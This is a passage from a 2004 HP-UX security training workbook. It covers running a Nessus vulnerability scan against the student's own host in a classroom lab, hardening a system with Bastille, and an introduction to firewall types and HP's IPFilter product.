16–8. SLIDE: Starting the Scan

Starting the Scan

Click the Start the Scan to begin the scan

Monitor progress via the status bar

Student Notes
Once you have selected one or plugins and targets, you can start the scan at any time.

Click the Start the Scan button at the bottom of any tab interface screen. This should
open a window and display two status bars for targeted host. Nessus starts with a port scan
to determine which ports are open on the targeted system. If Nessus identifies open ports, it
probes those ports further to determine which service is using each port, and which types of
attacks the open ports may be vulnerable to.

H3541S D.02 16-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 16
Solution: Scanning for Vulnerabilities with Nessus

16–9. SLIDE: Viewing the Results

Viewing the Results

The Report screen

should appear
automatically when the
scan completes.

Select a subnet, a host,

a port, and a warning,
then view the explanation.

Student Notes
After Nessus completes the scan, it automatically opens the Report screen. The Report
screen has five panes. You can resize the panes by dragging the pane handles, on the pane
boundaries.

By default, the top left Subnet pane lists the subnets that were scanned. Click on a subnet
to view the hosts within that subnet in the Host pane. Click a hostname to view the results
of the port scan for a specific host in the Port pane. Click a port number to view a summary
of vulnerabilities associated with that port in the Severity pane. Finally, click on a warning
in the Severity pane to view a detailed description of the chosen vulnerability in the
bottom right pane.

You can use the pulldown menus atop the panes to rearrange the panes in the window.

http://education.hp.com 16-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

Every identified vulnerability is be preceded by an icon.

• Lightbulb icons indicate informational messages.

• Exclamation point (!) icons indicate warnings.

• Red dot icons indicate likely security holes.

Read the vulnerability descriptions carefully. They often contain detailed explanations of the
problem as well as possible solutions. Since Nessus scans hosts externally, it isn’t always
able to determine with certainty whether a vulnerability does or doesn’t apply to a target. In
this case, Nessus will oftentimes mark the port in question with a warning, but include a
message similar to the following in the explanatory text:

*** THIS WARNING MAY BE A FALSE POSITIVE

When you see these warnings, you will have to investigate the vulnerability manually.

Most vulnerabilities include CVE (Common Vulnerabilities and Exposure) numbers, which
correspond to a vulnerability dictionary on the web at http://www.cve.mitre.org/.
The CVE list is maintained by an editorial board of security experts from a wide range of
corporations and government agencies. Most network scanners identify vulnerabilities by
CVE number.

H3541S D.02 16-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 16
Solution: Scanning for Vulnerabilities with Nessus

16–10. SLIDE: Saving the Results

Saving the Results

From the Report

screen, click the Save
report button if you
want to save the report
in HTML, XML, or other
formats.

View the resulting report

in your web browser.

Student Notes
If you want to save the scan results to a file, click the Save report button at the bottom of
the Report screen. Nessus can save the report in a variety of formats:
• NBE (a Nessus-specific format)

• NSR (a deprecated Nessus-specific format)

• XML

• HTML

• LaTeX

• ASCII

• HTML with Pies and Graphs

The samples on the slide show the same report, saved in both HTML formats.

http://education.hp.com 16-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

16–11. LAB: Configuring and Running Nessus

Directions
Carefully follow the instructions below.

Part I: Installing Nessus

1. VERY IMPORTANT!!! Verify that your instructor has disconnected the classroom from
the Education Center network before proceeding.

2. Verify that the OpenSSL and KRNG11i products have been installed on your system. If
not, download and install them from http://software.hp.com.

# swlist ixOpenSSL

# swlist KRNG11i

3. Nessus should be installed in your /secure file system to ensure that it isn’t available to
hackers. Create a /secure/nessus directory, and download the nessus-
installer.sh program from http://www.nessus.org/. For the purposes of this
class, you can simply copy the program from /labs/nessus/ directory.

# mkdir /secure/nessus
# cd /secure/nessus
# cp /labs/nessus/nessus-installer.sh /secure/nessus

4. Verify that /usr/local/bin is at the beginning of your PATH, and run the nessus-
installer.sh script. When asked where you want to install Nessus, answer
/secure/nessus. Relax for a while the program installs and compiles Nessus for you.
You may see a few errors, but the program should still compile and run successfully.

# PATH=/usr/local/bin:$PATH
# sh ./nessus-installer.sh
Where do you want the whole Nessus package to be installed?
[/usr/local] /secure/nessus

5. Create SSL certificates for your host. These will be used to provide a secure channel of
communication to the system you use to run the GUI interface.

# /secure/nessus/sbin/nessus-mkcert

Enter your country, state/province, location, and organization. Accept the defaults for
the other questions.

6. Create a Nessus user (Nessus users are unrelated to /etc/passwd users. You can use
any name you wish). You will have a choice between authenticating the user using a
password or a certificate. Choose the pass (password) option. Remember your Nessus

H3541S D.02 16-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 16
Solution: Scanning for Vulnerabilities with Nessus

username and password – you will need it later!

# /secure/nessus/sbin/nessus-adduser
Login : mynessususer
Authentication (pass/cert) [pass] : pass
Password : xxx

Eventually, you will be asked to enter one or more Nessus rules for your user. These
rules determine which hosts your user will be allowed to scan. Hit ^D to exit.
7. Start the Nessus daemon.

# /secure/nessus/sbin/nessusd –D

You may see see several 'unresolved symbol' warning messages, but the daemon should
launch successfully.

Part II: Running Nessus

1. Start the Nessus GUI client.

# /secure/nessus/bin/nessus

2. Click on the Nessusd host tab, and enter your hostname and Nessus username in the
appropriate fields.

Nessusd host: myhost

Port: 1241
Login: mynessususer
Password: xxx

Click the Log in button.

3. When the SSL setup screen appears, choose the first option, “Display and remember the
server certificate, do not care about CA” since we will run the Nessus server and client on
the same host.

x Display and remember the server certificate, do not care about

CA

Click OK to close the SSL setup window.

http://education.hp.com 16-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

4. Click the Plugins tab to select the plugins you wish to include in your scan.

• View the list of plugin categories in the Plugin Selection pane at the top of the
window.
• Single-click the SMTP problems plugin.
• This should display a long list of SMTP related plugins in the bottom pane.
• Single-click the EXPN and VRFY commands plugin.
• This should open a window that explains the vulnerability in detail.
• Read the description, then close the popup window.
• Explore some of the other available plugin descriptions.
5. Select the plugins to include in your scan.

• Click Enable all but dangerous plugins.

• The checkboxes on the right side of the screen should indicate the selected plugins.
• Dangerous plugins are indicated by a “!” sign and may crash the target system!
• Click the Enable dependencies checkbox to autoselect any dependent plugins.
6. Click the Prefs tab to view some of the plugin configurable parameters.

• Accept all of the defaults.

7. Click the Scan options tab.

• Run your mouse over some of the fields on this screen to view explanations.
• If time permits, set Port range to 1-65536 to do a more comprehensive scan.
8. Click the Target selection tab.

• Enter your hostname as the target host.

9. Click Start the scan!

• A window should open momentarily.

• Watch the Portscan and Attack status bars to monitor progress.
• Eventually, a Nessus Report window should appear.
(Note that the Nessus status bars are misleading. You may have to wait several
minutes after the status bar claims that the attack is complete before the results
window to appears)

H3541S D.02 16-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 16
Solution: Scanning for Vulnerabilities with Nessus

10. On the Nessus Report screen:

• In the Subnet pane, click your host’s subnet.

• In the Host pane, click your hostname.
• In the Port pane, browse the list of ports scanned on your host.
− Lightbulb icons indicate informational messages.
− Exclamation point (!) icons indicate warnings.
− Red dot icons indicate security holes.
• In the Port pane, select a port that has an icon to the left.
• In the Severity pane, select one of the icons.
• In the explanation pane at bottom right, read the vulnerability explanation.
• Browse a few of the vulnerabilities.
11. When you are done browsing, click the Save report button.
• Enter filename /root/report.
• Choose the HTML report file format.
• Click Ok to save.
12. Click Save report again.
• Enter filename /root/graphs.
• Choose the HTML with Pies and Graphs file format.
• Click Ok to save.
13. Close all of the Nessus windows.

14. Use your web browser to view your HTML reports.

# netscape file:/root/report.html
# netscape file:/root/graphs/index.html

http://education.hp.com 16-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 16
Solution: Scanning for Vulnerabilities with Nessus

H3541S D.02 16-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 17 — Solution: Hardening HP-UX Hosts
with Bastille
Objectives
Upon completion of this module, you will be able to do the following:
• Explain the term “hardened host”.

• Describe the features and benefits of the Bastille product.

• Create a Bastille config file using the Graphical User Interface.

• Modify a Bastille config file from the command line.

• Apply a Bastille config file.

• Revert to a pre-Bastille configuration.

http://education.hp.com 17-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 17
Solution: Hardening HP-UX Hosts with Bastille

17–1. SLIDE: Introducing Bastille

Introducing Bastille

Bastille is a contributed software tool that scans and “hardens” your localhost.

• Scans local configuration files for possible vulnerabilities

• Asks the administrator which vulnerabilities to lock down
• Automatically modifies the appropriate configuration files, if desired
• Provides a mechanism for reverting to the pre-Bastille configuration

Since my email server is exposed to the public Internet, I used Bastille

to lock down the commonly exploited services and vulnerabilities.

Student Notes
The preceding chapters identified a variety of common HP-UX vulnerabilities. Most likely, by
this point in the course, you have amassed a checklist of services to disable, daemons to kill,
and configurations to change to make your systems more secure. Closing these
vulnerabilities, or “hardening”, a UNIX system, can be a daunting chore. Particularly on web
servers, mail servers, and other hosts that are exposed to the public Internet, it is critical that
you minimize vulnerabilities as much as possible.

The previous chapter explained how to automate this task somewhat using the Nessus
network scanner. Nessus generated a list of potential vulnerabilities, but made no attempt to
actually fix the problems that led to the vulnerabilities.

Bastille is an open source, host-based scanner that examines your current system
configuration, presents a checklist of recommended security measures, and, based on input
from the administrator, proceeds to make the changes necessary to harden the system.
Among other things, the program disables unnecessary services, replaces banner messages,
enables inetd logging, modifies system settings, identifies world writable files, and can even
configure a host-based firewall!

H3541S D.02 17-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 17
Solution: Hardening HP-UX Hosts with Bastille

If the resulting configuration is too restrictive, Bastille can revert your system to its pre-
Bastille state.

Bastille was originally developed for Linux, but is now supported on HP-UX. The program
can be downloaded and installed from http://software.hp.com. perl B.5.6.1.E is
required to run Bastille, too. It, too, can be downloaded and swinstall’ed from http://
software.hp.com.

B6849AA B.02.01.00 Bastille Security Hardening Tool

perl B.5.6.1.E Perl Programming Language

http://education.hp.com 17-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 17
Solution: Hardening HP-UX Hosts with Bastille

17–2. SLIDE: Bastille Process Overview

Bastille Process Overview

Download and install Bastille and Perl.

# netscape http://software.hp.com
-> B6849AA B.02.01.00 Bastille Security Hardening Tool
-> perl B.5.6.1.E Perl Programming Language

Use the Bastille GUI interface to identify vulnerabilities.

Create a Bastille config file listing the changes you wish to apply.
Apply the config file changes.
Revert to the pre-Bastille configuration if the resulting configuration is too restrictive.

Student Notes
Several steps are required to install and run Bastille. This slide is intended to provide an
overview of the Bastille process; later slides discuss each step in detail.
1. Download and install Bastille and Perl. Both are available as free downloads from
http://software.hp.com. You can install the products using swinstall.

# netscape http://software.hp.com
-> B6849AA B.02.01.00 Bastille Security Hardening Tool
-> perl B.5.6.1.E Perl Programming Language

2. Use the Bastille GUI interface to identify vulnerabilities. Bastille examines your current
configuration, then recommends a variety of changes to improve your system’s security.
You can choose to accept or reject any or all of Bastille’s recommendations.

3. Create a Bastille config file listing the changes you wish to apply. Bastille builds the
config file automatically based on the options you selected while navigating the Bastille
GUI interface.

H3541S D.02 17-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 17
Solution: Hardening HP-UX Hosts with Bastille

4. Apply the config file changes. Bastille can automatically modify your system
configuration files based on the information in the config file. If Bastille is unable to
make some of the changes automatically, it creates a detailed TODO file that describes
the manual steps required to complete the process.

5. Revert to the pre-Bastille configuration if the resulting configuration is too restrictive. If

you discover that the changes made by Bastille are too restrictive, Bastille provides an
automated mechanism that allows you to revert to your pre-Bastille configuration.

http://education.hp.com 17-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 17
Solution: Hardening HP-UX Hosts with Bastille

17–3. SLIDE: Using the Bastille GUI

Using the Bastille GUI

Click through the Bastille GUI and select changes you wish to make.

# bastille –os HP-UX11.11

Student Notes
After you install the Bastille and Perl products, login as root and run the bastille GUI
interface.

# bastille –os HP-UX11.11

bastille analyzes your current system configuration and presents a checklist of

recommended changes that may enhance system security. Note that the resulting checklist
will vary from system to system, depending on the current configuration.

As you click through the checklist in the Modules pane on the left, read each Question and
Explanation carefully. After reading the Explanation, click Yes at bottom right to
accept the recommended change, or No if you prefer not to follow the recommendation.

Click OK to proceed to the next recommendation. The checklist on the left side of the screen
allows you to track your progress.

By default, the checklist that appears in the left pane of the Bastille interface only includes
recommendations that are relevant to your current OS version, and the services that you
currently have enabled. For instance, if you don’t have NFS services enabled, then Bastille

H3541S D.02 17-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 17
Solution: Hardening HP-UX Hosts with Bastille

won’t display NFS related recommendations, nor will the resulting Bastille configuration file
make any attempt to modify your NFS configuration.

If you are using the GUI interface to create a Bastille configuration file that will be used to
secure other systems on your network, you may wish to include the --os HP-UX11.11
option so you have an opportunity to view all of the Bastille recommendations that are
appropriate for your version of the OS.

http://education.hp.com 17-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 17
Solution: Hardening HP-UX Hosts with Bastille

17–4. SLIDE: Saving the Configuration File

Saving the Configuration File

After navigating the GUI, you can save your configuration selections.

Your selections are saved in an ASCII file that you can view and edit.
# vi /etc/opt/bastille/config

If you have multiple hosts, you can FTP this file to the other hosts you manage.
# rcp /etc/opt/bastille/config otherhost:/etc/opt/bastille/

Student Notes
When you reach the end of the checklist, Bastille asks if you wish to save the configurations
you selected. If you choose to save the configuration, Bastille records your selections in an
ASCII configuration file called /etc/opt/sec_mgmt/bastille/config.

You can view and edit the config file with your favorite editor.

# vi /etc/opt/sec_mgmt/bastille/config

If you manage multiple similarly configured systems, there is no need to run the bastille
GUI on every machine: simply run bastille once and copy the resulting config file to the
other hosts.

# rcp /etc/opt/sec_mgmt/bastille/config otherhost:/etc/opt/bastille/

H3541S D.02 17-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 17
Solution: Hardening HP-UX Hosts with Bastille

17–5. SLIDE: Applying the Configuration

Applying the Configuration

After saving the config file, you can quit or immediately apply the new config.

If you want to apply the changes later, type bastille –b.

# bastille -b
Review the log files
# more /var/opt/sec_mgmt/bastille/log/action-log
# more /var/opt/sec_mgmt/bastille/log/error-log
Some changes may require some manual intervention after bastille finishes.
# more /var/opt/sec_mgmt/bastille/TODO.txt

Student Notes
After you save the configuration file, the bastille GUI offers to apply the changes
immediately. Alternatively, you can exit the GUI, and apply the changes later by running the
non-interactive bastille –b command.

# bastille –b

In either case, bastille executes a series of Perl scripts in

/opt/sec_mgmt/bastille/bin/bastille/ based on your responses in the
/etc/opt/sec_mgmt/bastille/config file.

Be sure to review the log files. /var/opt/sec_mgmt/bastille/log/action_log

records what bastille did, and /var/opt/sec_mgmt/bastille/log/error_log
reports any errors that occurred.

Bastille makes most of the necessary changes automatically. However, the administrator
may need to configure a few changes manually. For instance, if you elected to modify the
executable_stack kernel parameter, bastille rebuilds the kernel, but the
administrator is expected to reboot the system to move the new kernel into place. Bastille

http://education.hp.com 17-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 17
Solution: Hardening HP-UX Hosts with Bastille

automatically searches the system for world-readable files, but the administrator must decide
which file permissions can be safely changed. Read the
/var/opt/sec_mgmt/bastille/TODO.txt file for specific instructions. If no manual
interaction is required, Bastille doesn’t create a TODO.txt file.

H3541S D.02 17-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 17
Solution: Hardening HP-UX Hosts with Bastille

17–6. SLIDE: Reverting to the pre-Bastille Configuration

Reverting to the pre-Bastille Configuration

If you change your mind, you can always revert to the pre-Bastille configuration.
# bastille -r
Review the error log for problems.
# more /var/opt/sec_mgmt/bastille/log/error-log

Some configurations may require manual action to revert.

# more /var/opt/sec_mgmt/bastille/TOREVERT.txt

Student Notes
If Bastille’s configuration changes cause problems for your applications, you can always
revert to the pre-Bastille configuration. Simply run bastille –r. This restores several
backup files from the /var/opt/sec_mgmt/bastille/revert/ directory, and
programmatically restores other configuration files to their pre-Bastille state.

# bastille –r

Review the error log for errors.

# more /var/opt/sec_mgmt/bastille/log/error-log

Reverting some changes may require manual administrator intervention. Read the
TOREVERT.txt file for details. If this file doesn’t exist, then no administrator intervention is
required.

# more /var/opt/sec_mgmt/bastille/TOREVERT.txt

http://education.hp.com 17-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 17
Solution: Hardening HP-UX Hosts with Bastille

If you need to revert your system, you should do so soon after applying the bastille
configuration changes. If you apply configuration changes, make additional changes to your
system configuration, then revert, your additional configuration file changes will very likely
be lost.

H3541S D.02 17-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 17
Solution: Hardening HP-UX Hosts with Bastille

17–7. SLIDE: Bastille Directories and Files

Bastille Directories and Files

Bastille configuration file:

/etc/opt/sec_mgmt/bastille/config
Bastille executable:
/opt/sec_mgmt/bastille/bin/bastille
Documentation:
/opt/sec_mgmt/bastille/docs/user_guide.txt
Log of changes made to system:
/var/opt/sec_mgmt/bastille/log/action-log
Log of Bastille errors:
/var/opt/sec_mgmt/bastille/log/error-log
Manual actions required after running Bastille:
/var/opt/sec_mgmt/bastille/TODO.txt
Manual actions required after reverting to the pre-Bastille configuration:
/var/opt/sec_mgmt/bastille/TOREVERT.txt
Script responsible for reverting to the pre-Bastille configuration:
/var/opt/sec_mgmt/bastille/revert/revert-actions.last

Student Notes
The instructions in this chapter referenced numerous Bastille-related files. The summary list
on the slide is intended to serve as a quick reference guide.

http://education.hp.com 17-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 17
Solution: Hardening HP-UX Hosts with Bastille

17–8. LAB: Configuring and Running Bastille

Directions
Carefully follow the instructions below.
1. Use swlist to verify that Bastille and Perl exist on your system, then add the associated
binary directories to your PATH variable.

# swlist B6849AA perl

# PATH=/opt/sec_mgmt/bastille/bin:/opt/perl/bin:$PATH

2. Run the bastille GUI interface. Read through the checklist questions and
explanations carefully. Accept each of the recommended suggestions.

Answer:

3. After you finish working through the checklist, allow Bastille to save your selections, but
don’t apply them yet.

[Save Configuration]
[Exit Without Changing System]

4. Let’s not configure an IPFilter firewall after all, since we’ll have a chance to do that
manually later in the course. Use the vi editor to change your IPFilter answer to “N” in
the /etc/opt/sec_mgmt/bastille/config file.

Answer:

5. Now apply your changes by running bastille -b non-interactively.

Answer:

6. Look for errors in /var/opt/sec_mgmt/bastille/log/error_log file.

Answer:

H3541S D.02 17-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 17
Solution: Hardening HP-UX Hosts with Bastille

7. Read the /var/opt/sec_mgmt/bastille/TODO.txt. Are any manual steps

required? Read the file, but don’t actually make any manual changes to the system since
we will revert to the pre-Bastille configuration momentarily.

8. What changes did bastille make? Do you see any changes in /etc/passwd? Do you
see any changes in /etc/inetd.conf? Is the NFS server daemon still enabled in
/etc/rc.config.d/nfsconf?

Answer:

9. Do whatever is necessary to revert to your pre-Bastille configuration.

Answer:

http://education.hp.com 17-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 17
Solution: Hardening HP-UX Hosts with Bastille

H3541S D.02 17-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 18 — Solution: Configuring IPFilter
Firewalls
Objectives
Upon completion of this module, you will be able to do the following:
• Describe the purpose of a firewall.

• Describe the purpose of packet filtering.

• Describe the purpose of network address translation.

• Describe the purpose of proxy servers.

• Describe the difference between perimeter and system firewalls.

• Describe the primary features and limitations of HP’s IPFilter firewall product.

• Install and configure an IPFilter system firewall.

• Configure and manage IPFilter rulesets.

• Configure an IPFilter default deny policy.

• Configure IPFilter to prevent IP spoofing.

• Block and allow ICMP service access requests through an IPFilter firewall.

• Block and allow TCP service access requests through an IPFilter firewall.

• Block and allow UDP service access requests through an IPFilter firewall.

• Block and allow active and passive FTP access requests through an IPFilter firewall.

• Use ipftest and ipmon to test and monitor an IPFilter firewall.

http://education.hp.com 18-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–1. SLIDE: Firewall Overview

Firewall Overview

Configure firewalls to control access to your hosts and networks.

Firewalls make it possible to ...

• Restrict the flow of information between networks and hosts
• Monitor the flow of information between networks and hosts
• Prevent hackers from obtaining a foothold on your network or host

Internal host or network

External hosts and networks

Student Notes
Connecting your hosts to the public Internet may potentially expose your network to all sorts
of external security threats. Physically isolating your network from the outside world is the
easiest way to avoid attacks from these external threats. If you don't have physical
connectivity to the outside world, hackers won't be able to establish a network connection to
your hosts. However, most users today expect to have access to email, the worldwide web,
and the myriad of other resources that are available on the Internet. Eliminating connectivity
to the outside world makes access to these resources impossible.

Firewalls provide an elegant solution to this problem. Instead of eliminating connectivity to

the outside world, why not simply control connectivity to the outside world? This is exactly
what firewalls are designed to do.

Firewalls place a barrier between your organization's internal network or hosts, and external
hosts on the Internet. With a properly configured firewall, you can specify exactly which
hosts have access to which services. Some firewalls give you even more flexibility by making
it possible to monitor packets passing through the firewall!

H3541S D.02 18-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

Some administrators consider firewalls to be an alternative to implementing security

measures on individual hosts. Although this would seem to be the easiest approach, it's
certainly not the most secure approach for several reasons:
• Remember that many security incidents are perpetrated by "insiders" that are likely
already inside your organization's firewall.

• What if the security of the firewall itself is compromised? Without effective security
measures on individual hosts, your entire organization's security could be left vulnerable
to attack!
Firewalls should supplement , not replace, security measures on individual hosts on your
network.

This chapter starts by introducing some important firewall terminology, then walks you
through the process of configuring an HPUX system firewall using HP’s IPFilter software
product. Note that a thorough discussion of firewalls would require a five-day class unto
itself. This chapter is designed to introduce and demonstrate basic firewall functionality.

http://education.hp.com 18-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–2. SLIDE: Packet Filtering

Packet Filtering Firewalls

Use a packet filter to block incoming and outgoing packets by port, protocol, and IP.

rlogin Packet Filters ...

telnet • Block packets from selected ports/services

• Block packets to selected ports/services
SMTP
• Block packets from selected hosts/networks
• Block packets to selected hosts/networks

Packet Filter

Destination
Host or Network

Student Notes
The earliest firewalls were simply routers that provided some rudimentary packet filtering
functionality.

Packet filtering firewall administrators define a list of rules that determine which packets
should be allowed to pass through the packet filter, and which should be blocked. Packet
filters typically filter packets based on the source and destination address, port number and
protocol information stored in each packet’s header.

Packet filtering rulesets may be constructed a couple different ways.

• Some administrators prefer to define which types of traffic should be permitted.

Addresses, protocols, and ports that aren't explicitly permitted are implicitly denied
access through the firewall.

• Other administrators prefer to define which types of traffic should be denied. Addresses,
protocols, and ports that aren't explicitly denied are implicitly permitted access through
the firewall.

H3541S D.02 18-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

Your network configuration and needs will determine which approach makes the most sense
for your firewall.

The example on the slide shows a packet filtering firewall that allows incoming email
addressed to SMTP port 25, but appears to block telnet and rlogin requests destined for
port numbers 23 and 513.

http://education.hp.com 18-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–3. SLIDE: Network Address Translation Firewalls

Network Address Translation Firewalls

Use Network and Port Address Translation to…

• Prevent external hosts from directly accessing internal hosts

• Hide internal host IP’s from external hosts
• Provide Internet connectivity to hosts with non-routable IP addresses

from: 10.1.1.2:50001 from: 15.1.1.1:50001

External Hosts
Internal Hosts

from: 10.1.1.3:50001 NAT from: 15.1.1.1:50002

from: 10.1.1.4:50001 from: 15.1.1.1:50003

10.1.1.1 15.1.1.1

Student Notes
Although packet filtering may prevent dangerous packets from entering your network, it does
nothing to protect the identity of the hosts behind the firewall. As internal hosts send
packets through the firewall, hosts on the external network can obtain the internal hosts IP
addresses and in-use port numbers by observing the headers on outbound packets.

Network Address Translation (NAT) and Port Address Translation (PAT) address this
problem. Rather than send outbound packets directly to the external network, internal hosts
may be configured to send their outbound requests to a NAT firewall. The firewall relays the
packet to the external network using the firewall’s IP and port number rather than the
original sending host’s address. When the destination host returns a reply, the firewall relays
the reply back to the sending host.

Using this technique, all packets appear to originate from the firewall, and hosts on the
external network are unable to determine the IP addresses and open port numbers of hosts
on the internal network.

H3541S D.02 18-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

NAT is particularly useful when hosts on the internal network have been assigned “non-
routable” IP addresses from the reserved 10.0.0.0/8, 192.168.0.0/16, and 172.16.0.0/12 address
blocks. Packets going to or from these addresses are prohibited on the public Internet. In
order to provide Internet connectivity for hosts on non-routable networks, firewall
administrators configure a NAT firewall with one LAN interface connected to a private
network, and one interface connected to the public Internet. The firewall, then, can relay
packets from the internal non-routable network to the public Internet.

http://education.hp.com 18-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–4. SLIDE: Proxy Firewalls

Proxy Firewalls

Use proxy firewalls to minimize the number of exposed hosts.

Internet
Proxies ...
Receive connections from,
and initiate connections to,
SMTP

external networks on behalf of

internal clients
Allow internal hosts to use
SMTP external services
Are commonly used to
manage SMTP and WWW
service

Mail
Proxy

Student Notes
NAT firewalls offer better security than packet filtering firewalls. Proxy and gateway
firewalls provide even better security.

Gateways are hosts on the perimeter of a network that receive and handle connections from
the outside world. One of the most common applications of a gateway is shown on the slide.
The packet filtering router in the diagram is configured such that SMTP (Email) packets are
only accepted for the mail gateway host, not for individual internal network hosts. Using this
mechanism, only the mail gateway's sendmail daemon is exposed to external networks and
the nasty sendmail attacks that prospective hackers may attempt. Individual hosts on the
internal network simply retrieve their email from the mail gateway server.

Proxy servers are servers that not only accept packets on behalf of internal clients, but also
forward requests from internal hosts to the external network. Web proxy servers provide
perhaps the most common example of a proxy server. Hosts on the internal network forward
their HTTP requests to a special daemon running on the web proxy server. The web proxy
server then initiates a connection to the outside Internet, retrieves the requested web pages,
and relays the resulting pages back to the requesting host. The proxy server shields the
internal hosts from the direct exposure to the external Internet, yet still allows the internal
hosts to access external resources.

H3541S D.02 18-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

On some networks gateway and proxy functionality is provided by the firewall system itself;
on other networks, gateway and proxy servers may be independent

http://education.hp.com 18-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

18–5. SLIDE: Perimeter versus System Firewalls

Perimeter versus System Firewalls

Configure a “Perimeter” firewall at each entry point into your organization’s networks.
Configure a “System” firewall on each critical and/or exposed host.

Hosts Running
System Firewalls

Internet
Web Mail

Perimeter
Firewalls Perimeter network

Internal network

Student Notes
We will consider two general types of firewalls, each of which may provide some
combination of the firewall features described on the preceding slides.

A perimeter firewall straddles the boundary between two networks, monitoring and
controlling the packets that pass across the network boundary. There are three networks in
the diagram on the slide: the public Internet, the internal network, and a "perimeter" or
"Demilitarized Zone (DMZ)" network that contains web, email, and other servers that need
connectivity to both internal and external hosts. The DMZ network is screened both from the
external network and the internal network via packet filtering routers. Thus, even if a hacker
managed to compromise the first screening router, he would still have to contend with the
internal screening router before he could access the internal hosts!

Cautious administrators may choose to configure a system firewall on the web and mail
servers on the DMZ network. A system firewall monitors and controls packets to and from a
single host. Any system that is a critical component in computing environment, or that is
exposed to the public Internet, may benefit from a system firewall.

H3541S D.02 18-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

18–6. SLIDE: HP-UX Firewall Solutions

HP-UX Firewall Solutions

Many free and commercial firewall products are available.

• Free Firewall Software: IPFilter (http://software.hp.com)

• Free/Commercial Firewall Software: SOCKS-5 (http://www.socks.nec.com)
• Commercial Firewall Software: Checkpoint Firewall-1 (http://checkpoint.com)
• Commercial Firewall Appliance: Cisco PIX Firewall (http://cisco.com)
• And many others, too!

This course will concentrate on IPFilter.

• IPFilter is open source, free software

• IPFilter provides powerful, stateful packet filtering and logging
• IPFilter is available as pre-compiled, supported software from http://software.hp.com
• HP does not support IPFilter for use as a perimeter firewall
• HP does not support IPFilter NAT functionality

Student Notes
Today’s network administrators may choose from a wide variety of firewall solutions. The
slide lists some of the most popular firewalls that are used today.
• IPFilter is a free, open source firewall software product that is popular on Linux, and is
now supported on HP-UX. IPFilter provides sophisticated packet filtering functionality.

• SOCKS5 is an open source firewall product that provides packet filtering and proxy
functionality. SOCKS5 is available as both free and commercial, supported software.

• Checkpoint’s Firewall-1 product is among the most popular and powerful commercial
software firewall solutions for HP-UX.

• Cisco’s PIX firewall appliance product line offers sophisticated hardware-based firewall
solutions in a standalone box.

For a more comprehensive list of firewall vendors and products, see the firewall product
chart on http://www.networkbuyersguide.com/search/105242.htm.

http://education.hp.com 18-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 18
Solution: Configuring a System Firewall with IPFilter

IPFilter Features

The remainder of this chapter will focus on HP’s IPFilter firewall product for HP-UX.

• IPFilter is open source, free software that is commonly used on Linux-based firewalls.

• IPFilter provides powerful, stateful packet filtering and logging.

• IPFilter is available as pre-compiled, supported software from

http://software.hp.com. Note the support limitations below…

• HP does not support IPFilter for use as a perimeter firewall. HP only supports IPFilter in
system firewall implementations.

• HP does not support IPFilter NAT functionality, either, since the HP bundled product is
not intended to be used as a perimeter firewall.

NOTE: Portions of the information in this chapter were derived from HP’s Installing
and Administering HP-UX IPFilter manual, PN#B9901-90009, which is
available on http://docs.hp.com.

Much of the information in that manual was derived from the IPFilter-based
Firewalls HOWTO document written by Brendan Conoby and Erik Fichtner.
You can find this document at http://www.obfuscation.org/ipf/.

H3541S D.02 18-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 18
Solution: Configuring a System Firewall with IPFilter

18–7. SLIDE: Installing IPFilter

Installing IPFilter

Download and install IPFilter from http://software.hp.com.

# cd /tmp
# netscape http://software.hp.com
